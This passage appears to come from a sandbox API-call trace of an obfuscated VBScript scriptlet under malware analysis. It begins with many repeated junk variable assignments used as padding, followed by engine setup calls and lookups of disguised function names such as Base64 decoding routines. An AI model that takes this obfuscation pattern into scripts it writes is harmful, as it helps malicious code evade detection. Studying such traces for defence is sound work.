\"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"243", pstrItemName=0x0, punkContext=0x0, pstrDelimiter=0x0, dwSourceContextCookie=0x0, ulStartingLineNumber=0x5, dwFlags=0x42, pvarResult=0x0, pexcepinfo=0x0 | out: pvarResult=0x0, pexcepinfo=0x0) returned 0x0 [0088.643] GetCurrentThreadId () returned 0xd44 [0088.643] realloc (_Block=0x0, _Size=0xc8) returned 0x8474be8 [0088.643] ??2@YAPAXI@Z () returned 0x86bfdc0 [0088.643] malloc (_Size=0x804) returned 0x119a768 [0088.653] free (_Block=0x8474be8) [0088.653] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a99c0, ss=0) returned 0x0 [0088.654] GetUserDefaultLCID () returned 0x409 [0088.654] GetACP () returned 0x4e4 [0088.654] ISystemDebugEventFire:EndSession (This=0x6bcaca0) returned 0x0 [0088.654] IUnknown:Release (This=0x6bcaca0) returned 0x1 [0088.654] VBScriptEngine5:IUnknown:Release (This=0x83fd504) returned 0x2 [0088.654] IUnknown:Release (This=0x6bcaca0) returned 0x0 [0088.654] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0088.654] VBScriptEngine5:IUnknown:Release (This=0x83fd4f8) returned 0x1 [0088.654] VBScriptEngine5:IUnknown:Release (This=0x11a99c4) returned 0x2 [0088.659] VBScriptEngine5:IActiveScript:Clone (in: This=0x11a99c0, ppscript=0x155054 | out: ppscript=0x155054*=0x11a9bc8) returned 0x0 [0088.659] ??2@YAPAXI@Z () returned 0x11a9bc8 [0088.659] GetUserDefaultLCID () returned 0x409 [0088.659] GetACP () returned 0x4e4 [0088.660] VBScriptEngine5:IUnknown:AddRef (This=0x11a9bc8) returned 0x3 [0088.660] VBScriptEngine5:IUnknown:Release (This=0x11a9bc8) returned 0x2 [0088.660] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a9bc8, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d290 | out: ppvObject=0x846d290*=0x11a9bcc) returned 0x0 [0088.660] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a9bc8, pass=0x83fd368) returned 0x0 [0088.660] GetCurrentThreadId () returned 0xd44 [0088.660] ??2@YAPAXI@Z () returned 0x1186b60 [0088.660] ??2@YAPAXI@Z () returned 0x83fd390 [0088.660] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x1186bb4 | out: ppvObject=0x1186bb4*=0x0) returned 0x80004002 [0088.660] VBScriptEngine5:IUnknown:AddRef (This=0x83fd368) returned 0x2 [0088.660] IActiveScriptSite:GetLCID (in: This=0x83fd368, plcid=0x15503c | out: plcid=0x15503c*=0x800) returned 0x0 [0088.660] GetSystemDefaultLCID () returned 0x409 [0088.660] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x15500c, cchData=6 | out: lpLCData="1252") returned 5 [0088.660] IsValidCodePage (CodePage=0x4e4) returned 1 [0088.661] IActiveScriptSite:GetDocVersionString (in: This=0x83fd368, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0088.661] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9d54 | out: ppvObject=0x11a9d54*=0x83fd374) returned 0x0 [0088.661] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd374, ppda=0x11a9d5c | out: ppda=0x11a9d5c*=0x0) returned 0x80004001 [0088.661] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9da4 | out: ppv=0x11a9da4*=0x6bcaca0) returned 0x0 [0088.661] IUnknown:AddRef (This=0x6bcaca0) returned 0x2 [0088.661] ISystemDebugEventFire:BeginSession (This=0x6bcaca0, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12298869") returned 0x0 [0088.661] VBScriptEngine5:IActiveScript:AddNamedItem (This=0x11a9bc8, pstrName="scriptlet", dwFlags=0xa) returned 0x0 [0088.661] GetCurrentThreadId () returned 0xd44 [0088.661] ??2@YAPAXI@Z () returned 0x86bfe50 [0088.661] IActiveScriptSite:GetItemInfo (in: This=0x83fd368, pstrName="scriptlet", dwReturnMask=0x1, ppiunkItem=0x154ff0, ppti=0x0 | out: ppiunkItem=0x154ff0*=0x11977a8, ppti=0x0) returned 0x0 [0088.661] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15500c | out: ppvObject=0x15500c*=0x11977a8) returned 0x0 [0088.662] IUnknown:Release (This=0x11977a8) returned 0x3 [0088.662] IUnknown:AddRef (This=0x11977a8) returned 0x4 [0088.662] ??2@YAPAXI@Z () returned 0x1105a00 [0088.662] malloc (_Size=0x40) returned 0x1197838 [0088.662] ??2@YAPAXI@Z () returned 0x1129310 [0088.662] IUnknown:AddRef (This=0x11977a8) returned 0x5 [0088.662] IUnknown:Release (This=0x11977a8) returned 0x4 [0088.662] VBScriptEngine5:IActiveScript:AddNamedItem (This=0x11a9bc8, pstrName="globals", dwFlags=0x2) returned 0x0 [0088.662] GetCurrentThreadId () returned 0xd44 [0088.662] ??2@YAPAXI@Z () returned 0x86bfe80 [0088.663] VBScriptEngine5:IActiveScript:GetScriptDispatch (in: This=0x11a9bc8, pstrItemName=0x0, ppdisp=0x155060 | out: ppdisp=0x155060*=0x83fd390) returned 0x0 [0088.663] GetCurrentThreadId () returned 0xd44 [0088.663] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd390, riid=0x66907c10*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x83fd63c | out: ppvObject=0x83fd63c*=0x83fd390) returned 0x0 [0088.663] GetCurrentThreadId () returned 0xd44 [0088.663] VBScriptEngine5:IUnknown:Release (This=0x83fd390) returned 0x2 [0088.663] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a9bc8, ss=1) returned 0x800a01a8 [0088.663] VBScriptEngine5:IUnknown:AddRef (This=0x83fd368) returned 0x4 [0088.663] ISystemDebugEventFire:IsActive (This=0x6bcaca0) returned 0x1 [0088.663] IUnknown:AddRef (This=0x11977a8) returned 0x5 [0088.663] IActiveScriptSite:OnEnterScript (This=0x83fd368) returned 0x0 [0088.663] ??2@YAPAXI@Z () returned 0x83fd480 [0088.663] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154cb0 | out: ppvObject=0x154cb0*=0x11977a8) returned 0x0 [0088.664] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="age64Dicode", grfdex=0x8, pid=0x154ccc | out: pid=0x154ccc*=1396024) returned 0x80020006 [0088.664] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="age64Dicode", grfdex=0x8, pid=0x154c24 | out: pid=0x154c24*=-1) returned 0x80020006 [0088.664] GetCurrentThreadId () returned 0xd44 [0088.664] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.664] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154cb0 | out: ppvObject=0x154cb0*=0x11977a8) returned 0x0 [0088.664] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BytesToStr", grfdex=0x8, pid=0x154ccc | out: pid=0x154ccc*=1396024) returned 0x80020006 [0088.664] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BytesToStr", grfdex=0x8, pid=0x154c24 | out: pid=0x154c24*=-1) returned 0x80020006 [0088.664] GetCurrentThreadId () returned 0xd44 [0088.664] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.664] malloc (_Size=0x204) returned 0x872d3c8 [0088.664] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154cb0 | out: ppvObject=0x154cb0*=0x11977a8) returned 0x0 [0088.665] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="Bace64Encode", grfdex=0x8, pid=0x154ccc | out: pid=0x154ccc*=1396024) returned 0x80020006 [0088.665] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="Bace64Encode", grfdex=0x8, pid=0x154c24 | out: pid=0x154c24*=-1) returned 0x80020006 [0088.665] GetCurrentThreadId () returned 0xd44 [0088.665] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.665] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154cb0 | out: ppvObject=0x154cb0*=0x11977a8) returned 0x0 [0088.665] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="j5yjr5jjkryh", grfdex=0x8, pid=0x154ccc | out: pid=0x154ccc*=1396024) returned 0x80020006 [0088.665] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="j5yjr5jjkryh", grfdex=0x8, pid=0x154c24 | out: pid=0x154c24*=-1) returned 0x80020006 [0088.665] GetCurrentThreadId () returned 0xd44 [0088.665] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.665] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154cb0 | out: ppvObject=0x154cb0*=0x11977a8) returned 0x0 [0088.665] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kbfdthjywfuj645y", grfdex=0x8, pid=0x154ccc | out: pid=0x154ccc*=1396024) returned 0x80020006 [0088.665] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kbfdthjywfuj645y", grfdex=0x8, pid=0x154c24 | out: pid=0x154c24*=-1) returned 0x80020006 [0088.665] GetCurrentThreadId () returned 0xd44 [0088.665] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.666] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.666] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mwebbodfjg", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.666] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mwebbodfjg", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.666] GetCurrentThreadId () returned 0xd44 [0088.666] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.666] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.666] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="btj4urkmgfanvbw", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.667] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="btj4urkmgfanvbw", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.667] GetCurrentThreadId () returned 0xd44 [0088.667] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.667] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.667] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="f2323", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.667] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="f2323", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.667] GetCurrentThreadId () returned 0xd44 [0088.667] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.668] malloc (_Size=0x404) returned 0x84743a8 [0088.668] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.668] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="AllFata", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.668] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="AllFata", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.668] GetCurrentThreadId () returned 0xd44 [0088.668] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.668] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.668] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fffffffffgggggg", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.669] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fffffffffgggggg", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.669] GetCurrentThreadId () returned 0xd44 [0088.669] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.669] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.669] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vard1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.669] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vard1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.669] GetCurrentThreadId () returned 0xd44 [0088.669] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.669] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.669] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRHELPWIN", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.669] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRHELPWIN", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.669] GetCurrentThreadId () returned 0xd44 [0088.669] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.670] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.670] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRHELPWINCHR1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.670] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRHELPWINCHR1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.670] GetCurrentThreadId () returned 0xd44 [0088.670] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.670] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.670] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRINTCMD", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.670] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRINTCMD", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.670] GetCurrentThreadId () returned 0xd44 [0088.670] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.670] IUnknown:QueryInterface (in: This=0x11977a8, 